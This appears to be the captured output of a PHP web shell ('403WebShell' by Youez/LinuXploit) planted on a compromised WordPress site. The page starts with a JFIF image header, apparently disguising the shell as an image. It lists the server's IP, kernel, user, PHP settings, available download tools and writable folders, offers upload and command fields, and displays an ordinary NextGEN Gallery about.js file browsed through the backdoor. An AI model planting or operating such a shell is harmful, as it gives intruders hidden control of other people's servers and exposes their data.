????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./peekmysite.com/wp-content/plugins/nextgen-gallery/assets/js/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./peekmysite.com/wp-content/plugins/nextgen-gallery/assets/js/dist/about.js
(function ($, nextgen_about) {
	$(function () {
		$('.nextgen-am-plugins-wrap').on(
			'click',
			'.nextgen-am-plugins-install',
			function (e) {
				e.preventDefault();
				var $this = $(this),
					url = $this.data('url'),
					basename = $this.data('basename');
					spinner = $this.parent().find('.spinner'),
					message = $(this)
					.parent()
					.parent()
					.find('.nextgen-am-plugins-status');
				var install_opts = {
					url: nextgen_about.ajax,
					type: 'post',
					async: true,
					cache: false,
					dataType: 'json',
					data: {
						action: 'nextgen_install_am_plugin',
						nonce: nextgen_about.install_nonce,
						basename: basename,
						download_url: url,
					},
					success: function (response) {
						$this.text(nextgen_about.deactivate)
							.removeClass('nextgen-am-plugins-install')
							.addClass('nextgen-am-plugins-deactivate');

							$(message).text(nextgen_about.active);

						// Trick here to wrap a span around he last word of the status
						var heading = $(message),
							word_array,
							last_word,
							first_part;

						word_array = heading.html().split(/\s+/); // split on spaces
						last_word = word_array.pop(); // pop the last word
						first_part = word_array.join(' '); // rejoin the first words together
						spinner.css('visibility', 'hidden');

						heading.html(
							[
								first_part,
								' <span>',
								last_word,
								'</span>',
							].join(''),
						);
						// Proc
					},
					error: function (xhr, textStatus, e) {
						console.log(e);
					},
				};
				console.log(spinner);
				spinner.css('visibility', 'visible');
				$.ajax(install_opts);
			},
		);
		$('.nextgen-am-plugins-wrap').on(
			'click',
			'.nextgen-am-plugins-activate',
			function (e) {
				e.preventDefault();
				var $this = $(this),
					url = $this.data('url'),
				 	basename = $this.data('basename'),
					spinner = $this.parent().find('.spinner'),
					message = $(this)
					.parent()
					.parent()
					.find('.nextgen-am-plugins-status');
				var activate_opts = {
					url: nextgen_about.ajax,
					type: 'post',
					async: true,
					cache: false,
					dataType: 'json',
					data: {
						action: 'nextgen_activate_am_plugin',
						nonce: nextgen_about.activate_nonce,
						basename: basename,
						download_url: url,
					},
					success: function (response) {
						$this.text(nextgen_about.deactivate)
							.removeClass('nextgen-am-plugins-activate')
							.addClass('nextgen-am-plugins-deactivate');

						$(message).text(nextgen_about.active);
						// Trick here to wrap a span around he last word of the status
						var heading = $(message),
							word_array,
							last_word,
							first_part;

						word_array = heading.html().split(/\s+/); // split on spaces
						last_word = word_array.pop(); // pop the last word
						first_part = word_array.join(' '); // rejoin the first words together
						spinner.css('visibility', 'hidden');
						heading.html(
							[
								first_part,
								' <span>',
								last_word,
								'</span>',
							].join(''),
						);
						location.reload(true);
					},
					error: function (xhr, textStatus, e) {
						console.log(e);
					},
				};
				console.log(spinner);
				spinner.css('visibility', 'visible');
				$.ajax(activate_opts);
			},
		);
		$('.nextgen-am-plugins-wrap').on(
			'click',
			'.nextgen-am-plugins-deactivate',
			function (e) {
				e.preventDefault();
				var $this = $(this),
					url = $this.data('url'),
					basename = $this.data('basename'),
					spinner = $this.parent().find('.spinner'),
					message = $(this)
					.parent()
					.parent()
					.find('.nextgen-am-plugins-status');
				var deactivate_opts = {
					url: nextgen_about.ajax,
					type: 'post',
					async: true,
					cache: false,
					dataType: 'json',
					data: {
						action: 'nextgen_deactivate_am_plugin',
						nonce: nextgen_about.deactivate_nonce,
						basename: basename,
						download_url: url,
					},
					success: function (response) {
						$this.text(nextgen_about.activate)
							.removeClass('nextgen-am-plugins-deactivate')
							.addClass('nextgen-am-plugins-activate');

						$(message).text(nextgen_about.inactive);
						// Trick here to wrap a span around he last word of the status
						var heading = $(message),
							word_array,
							last_word,
							first_part;

						word_array = heading.html().split(/\s+/); // split on spaces
						last_word = word_array.pop(); // pop the last word
						first_part = word_array.join(' '); // rejoin the first words together
						spinner.css('visibility', 'hidden');
						heading.html(
							[
								first_part,
								' <span>',
								last_word,
								'</span>',
							].join(''),
						);
						location.reload(true);
					},
					error: function (xhr, textStatus, e) {
						console.log(e);
					},
				};
				console.log(spinner);
				spinner.css('visibility', 'visible');
				$.ajax(deactivate_opts);
			},
		);
	});
})(jQuery, nextgen_about);

Youez - 2016 - github.com/yon3zu
LinuXploit